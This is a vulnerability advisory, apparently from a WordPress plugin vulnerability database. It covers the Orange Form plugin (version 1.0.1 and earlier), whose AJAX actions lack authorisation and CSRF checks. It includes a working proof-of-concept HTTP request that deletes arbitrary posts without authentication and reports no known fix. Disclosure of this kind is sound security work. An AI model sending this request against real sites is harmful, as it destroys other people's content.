WordPress Plugin Vulnerabilities

Orange Form <= 1.0.1 - Unauthenticated Arbitrary Post Deletion

Description

The plugin does not have any authorisation and CSRF checks in all of its AJAX calls, for example the or_delete_filed one which is available to both unauthenticated and authenticated users could allow attackers to delete arbitrary posts.The AJAX calls performing actions on posts also do not ensure that the post belong to them (or that they are allowed to perform such action on it)

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 35
Connection: close

action=or_delete_filed&or_pf_id={post_id}

Affects Plugins

No known fix

References

Classification

Type
ACCESS CONTROLS
CWE

Miscellaneous

Original Researcher
Francesco Carlucci
Submitter
Francesco Carlucci
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-12-29 (about 2 years ago)
Added
2022-01-26 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)

Other